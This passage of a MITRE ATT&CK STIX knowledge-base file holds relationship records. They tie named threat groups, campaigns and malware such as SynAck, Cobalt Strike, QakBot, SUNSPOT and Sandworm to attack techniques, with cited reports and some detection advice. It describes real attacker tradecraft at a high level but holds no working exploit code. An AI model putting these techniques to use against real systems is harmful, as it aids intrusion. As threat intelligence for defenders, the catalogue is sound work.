net.exe","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--41ac0542-9215-466a-ba43-05bd8b9e330b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/","description":"Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelgänging technique. Retrieved May 22, 2018.","source_name":"SecureList SynAck Doppelgänging May 2018"},{"url":"https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging","description":"Bettencourt, J. (2018, May 7). Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelgänging technique. Retrieved May 24, 2018.","source_name":"Kaspersky Lab SynAck May 2018"}],"modified":"2019-07-26T23:00:57.630Z","description":"[SynAck](https://attack.mitre.org/software/S0242) abuses NTFS transactions to launch and conceal malicious processes.(Citation: SecureList SynAck Doppelgänging May 2018)(Citation: Kaspersky Lab SynAck May 2018)","relationship_type":"uses","source_ref":"malware--04227b24-7817-4de1-9050-b7b1b57f5866","target_ref":"attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--41b74267-f604-4581-b1ca-4f1907a82245","type":"relationship","created":"2020-12-22T19:11:27.225Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Molerats Dec 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf","description":"Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."}],"modified":"2020-12-22T19:11:27.225Z","description":"(Citation: Cybereason Molerats Dec 2020)","relationship_type":"uses","source_ref":"intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411","target_ref":"malware--3ae6097d-d700-46c6-8b21-42fc0bcb48fa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--41b7f3d7-b42e-4301-ac9e-ecad27e826a0","type":"relationship","created":"2021-09-16T19:51:35.784Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub Sliver HTTP","url":"https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2","description":"BishopFox. (n.d.). Sliver HTTP(S) C2. Retrieved September 16, 2021."}],"modified":"2021-10-16T02:19:49.461Z","description":"[Sliver](https://attack.mitre.org/software/S0633) can encode binary data into a .PNG file for C2 communication.(Citation: GitHub Sliver HTTP)","relationship_type":"uses","source_ref":"tool--11f8d7eb-1927-4806-9267-3a11d4d4d6be","target_ref":"attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--41b8a7b7-0134-412d-85d7-3a0141beb8e2","type":"relationship","created":"2021-11-19T23:41:25.711Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}],"modified":"2021-11-19T23:41:25.711Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can use spoof arguments in spawned processes that execute beacon commands.(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--ffe59ad3-ad9b-4b9f-b74f-5beb3c309dc1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--41b9ea44-f258-4415-a3ba-d4b77be6cdc2","created":"2024-03-27T20:09:11.397Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant-Sandworm-Ukraine-2022","description":"Ken Proska, John Wolfram, Jared Wilson, Dan Black, Keith Lunden, Daniel Kapellmann Zafra, Nathan Brubaker, Tyler Mclellan, Chris Sistrunk. (2023, November 9). Sandworm Disrupts Power in Ukraine Using a Novel Attack Against Operational Technology. Retrieved March 28, 2024.","url":"https://www.mandiant.com/resources/blog/sandworm-disrupts-power-ukraine-operational-technology"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T15:19:09.317Z","description":"During the [2022 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0034), [Sandworm Team](https://attack.mitre.org/groups/G0034) configured Systemd to maintain persistence of GOGETTER, specifying the `WantedBy=multi-user.target` configuration to run GOGETTER when the system begins accepting user logins.(Citation: Mandiant-Sandworm-Ukraine-2022)","relationship_type":"uses","source_ref":"campaign--df8eb785-70f8-4300-b444-277ba849083d","target_ref":"attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--41ba13d1-5681-402e-a847-08b7e7b12f42","type":"relationship","created":"2019-04-17T15:08:45.097Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html","source_name":"FireEye FIN6 Apr 2019"}],"modified":"2020-10-09T13:28:48.778Z","description":"[FIN6](https://attack.mitre.org/groups/G0037) has used Pastebin and Google Storage to host content for their operations.(Citation: FireEye FIN6 Apr 2019)\t\n","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--41bbe151-0ebe-4610-85d2-ba565e299d23","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","source_name":"Proofpoint Leviathan Oct 2017"}],"modified":"2019-04-25T12:24:57.384Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has inserted garbage characters into code, presumably to avoid anti-virus detection.(Citation: Proofpoint Leviathan Oct 2017)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--41bdaca0-cda7-49ee-a879-bb0dfb0ba6d4","type":"relationship","created":"2021-09-29T19:00:31.581Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-239A BeagleBoyz August 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-239a","description":"DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."}],"modified":"2021-09-29T19:00:31.581Z","description":"(Citation: CISA AA20-239A BeagleBoyz August 2020)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--41bec3ae-de2b-470b-b356-dd163bd20445","created":"2024-05-29T20:01:28.765Z","revoked":false,"external_references":[{"source_name":"Sophos Gootloader","description":"Szappanos, G. & Brandt, A. (2021, March 1). “Gootloader” expands its payload delivery options. Retrieved September 30, 2022.","url":"https://news.sophos.com/en-us/2021/03/01/gootloader-expands-its-payload-delivery-options/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-29T20:01:28.765Z","description":"[Gootloader](https://attack.mitre.org/software/S1138) can create an autorun entry for a PowerShell script to run at reboot.(Citation: Sophos Gootloader)","relationship_type":"uses","source_ref":"malware--396c18b9-26fb-4435-8589-fb856502e4c4","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--41c0352d-b377-4fe9-8c3a-67b78a9a388e","type":"relationship","created":"2022-03-30T14:26:51.877Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.877Z","description":"New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--41c193c1-8269-4a2e-9ed8-9dd51489a03f","type":"relationship","created":"2021-03-01T20:37:05.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AppleJeus Feb 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-048a","description":"Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea’s Cryptocurrency Malware. Retrieved March 1, 2021."}],"modified":"2021-03-01T20:37:05.855Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has obtained SSL certificates for their C2 domains.(Citation: CISA AppleJeus Feb 2021)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--41c20ce1-3b9d-4293-a203-a4196d307c59","created":"2022-09-08T13:49:26.460Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:36:47.842Z","description":"During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors used a DLL that included an XOR-encoded section.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--41c5b24c-6e33-43b4-ad7e-ebe7506d33b9","type":"relationship","created":"2021-09-30T14:15:33.348Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky QakBot September 2021","url":"https://securelist.com/qakbot-technical-analysis/103931/","description":"Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021."}],"modified":"2021-09-30T14:15:33.348Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can send stolen information to C2 nodes including passwords, accounts, and emails.(Citation: Kaspersky QakBot September 2021)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--41c81917-ca17-4d7f-abdd-dcd408ad230d","created":"2022-09-27T18:02:21.412Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T18:02:21.412Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors enumerated sessions and users on a remote host, and identified privileged users logged into a targeted system.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--41ca57db-9736-4adf-ac5d-ea2be2ab4860","created":"2020-10-13T22:33:14.086Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT17","description":"FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.","url":"https://web.archive.org/web/20240119213200/https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T17:04:35.671Z","description":"[APT17](https://attack.mitre.org/groups/G0025) has created profile pages in Microsoft TechNet that were used as C2 infrastructure.(Citation: FireEye APT17)","relationship_type":"uses","source_ref":"intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae","target_ref":"attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--41cbc2d5-a360-4c1c-85b1-32459b05ae08","type":"relationship","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.846Z","description":"Monitor for the deployment of suspicious or unknown container images and pods in your environment, particularly containers running as root. ","source_ref":"x-mitre-data-component--a5ae90ca-0c4b-481c-959f-0eb18a7ff953","target_ref":"attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--41ce73bb-344d-4078-8e4a-4a6f52b8616e","created":"2024-03-06T21:19:25.689Z","revoked":false,"external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-06T21:19:25.689Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) set the hostnames of their C2 infrastructure to match legitimate hostnames in the victim environment. They also used IP addresses originating from the same country as the victim for their VPN infrastructure.(Citation: FireEye SUNBURST Backdoor December 2020)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--eb897572-8979-4242-a089-56f294f4c91d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--41d56dfa-e797-4bd1-826c-3e78d346f5ed","created":"2023-09-26T18:46:31.609Z","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-26T18:46:31.609Z","description":"[MoustachedBouncer](https://attack.mitre.org/groups/G1019) has used malware plugins packed with Themida.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"intrusion-set--7251b44b-6072-476c-b8d9-a6e32c355b28","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--41d59812-ad44-46f4-89d9-51a9b080a772","type":"relationship","created":"2019-12-20T14:23:29.279Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015.","source_name":"Kaspersky Equation QA"}],"modified":"2019-12-20T14:23:29.279Z","description":"[Equation](https://attack.mitre.org/groups/G0020) is known to have the capability to overwrite the firmware on hard drives from some manufacturers.(Citation: Kaspersky Equation QA) ","relationship_type":"uses","source_ref":"intrusion-set--96e239be-ad99-49eb-b127-3007b8c1bec9","target_ref":"attack-pattern--791481f8-e96a-41be-b089-a088763083d4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--41d61146-4a42-4897-b4a1-a706130a322d","type":"relationship","created":"2017-05-31T21:33:27.056Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html","description":"Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.","source_name":"FireEye Operation Double Tap"},{"url":"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong","description":"Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.","source_name":"Symantec Buckeye"}],"modified":"2020-03-17T18:44:03.617Z","description":"An [APT3](https://attack.mitre.org/groups/G0022) downloader uses the Windows command \"cmd.exe\" /C whoami. The group also uses a tool to execute commands on remote computers.(Citation: FireEye Operation Double Tap)(Citation: Symantec Buckeye)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--41d6749b-9bd1-47f6-80c4-52652b965e78","type":"relationship","created":"2021-01-13T20:16:23.679Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike SUNSPOT Implant January 2021","url":"https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/","description":"CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021."}],"modified":"2021-01-14T21:54:18.255Z","description":"[SUNSPOT](https://attack.mitre.org/software/S0562) created a copy of the SolarWinds Orion software source file with a .bk extension to backup the original content, wrote [SUNBURST](https://attack.mitre.org/software/S0559) using the same filename but with a .tmp extension, and then moved [SUNBURST](https://attack.mitre.org/software/S0559) using MoveFileEx to the original filename with a .cs extension so it could be compiled within Orion software.(Citation: CrowdStrike SUNSPOT Implant January 2021)","relationship_type":"uses","source_ref":"malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6","target_ref":"attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--41de9761-477c-4674-aea7-64a0b0b4ab4b","type":"relationship","created":"2022-03-25T18:51:00.289Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelOne Hermetic Wiper February 2022","url":"https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack","description":"Guerrero-Saade, J. (2022, February 23). HermeticWiper | New Destructive Malware Used In Cyber Attacks on Ukraine. Retrieved March 25, 2022."},{"source_name":"Crowdstrike DriveSlayer February 2022","url":"https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/","description":"Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022."},{"source_name":"Qualys Hermetic Wiper March 2022","url":"https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware","description":"Dani, M. (2022, March 1). Ukrainian Targets Hit by HermeticWiper, New Datawiper Malware. Retrieved March 25, 2022."}],"modified":"2022-03-25T21:34:45.588Z","description":"[HermeticWiper](https://attack.mitre.org/software/S0697) has the ability to modify Registry keys to disable crash dumps, colors for compressed files, and pop-up information about folders and desktop items.(Citation: SentinelOne Hermetic Wiper February 2022)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Qualys Hermetic Wiper March 2022)","relationship_type":"uses","source_ref":"malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--41e2d922-5014-479d-85ba-da70ad6aa44b","type":"relationship","created":"2021-09-21T15:16:40.914Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-10-07T16:28:04.669Z","description":"[BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) has obtained a variety of open-source reconnaissance and red team tools for discovery and lateral movement.(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"intrusion-set--9735c036-8ebe-47e9-9c77-b0ae656dab93","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--41e52a99-9797-4c31-8b3c-7adeed98310a","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint Leviathan Oct 2017","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"}],"modified":"2020-03-17T01:53:17.465Z","description":"[NanHaiShu](https://attack.mitre.org/software/S0228) can change Internet Explorer settings to reduce warnings about malware activity.(Citation: Proofpoint Leviathan Oct 2017)","relationship_type":"uses","source_ref":"malware--705f0783-5f7d-4491-b6b7-9628e6e006d2","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--41e8c16e-bfef-415f-b898-b76a1f527cc2","type":"relationship","created":"2021-09-07T20:58:44.418Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint Dridex Jan 2021","url":"https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/","description":"Check Point Research. (2021, January 4). Stopping Serial Killer: Catching the Next Strike. Retrieved September 7, 2021."}],"modified":"2021-09-07T20:58:44.418Z","description":"[Dridex](https://attack.mitre.org/software/S0384) has collected a list of installed software on the system.(Citation: Checkpoint Dridex Jan 2021)","relationship_type":"uses","source_ref":"malware--f01e2711-4b48-4192-a2e8-5f56c945ca19","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--41edf1d6-15a7-4da5-9bfd-ebee9d53f71e","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}],"modified":"2020-03-17T00:35:48.705Z","description":"One variant of [CloudDuke](https://attack.mitre.org/software/S0054) uses HTTP and HTTPS for C2.(Citation: F-Secure The 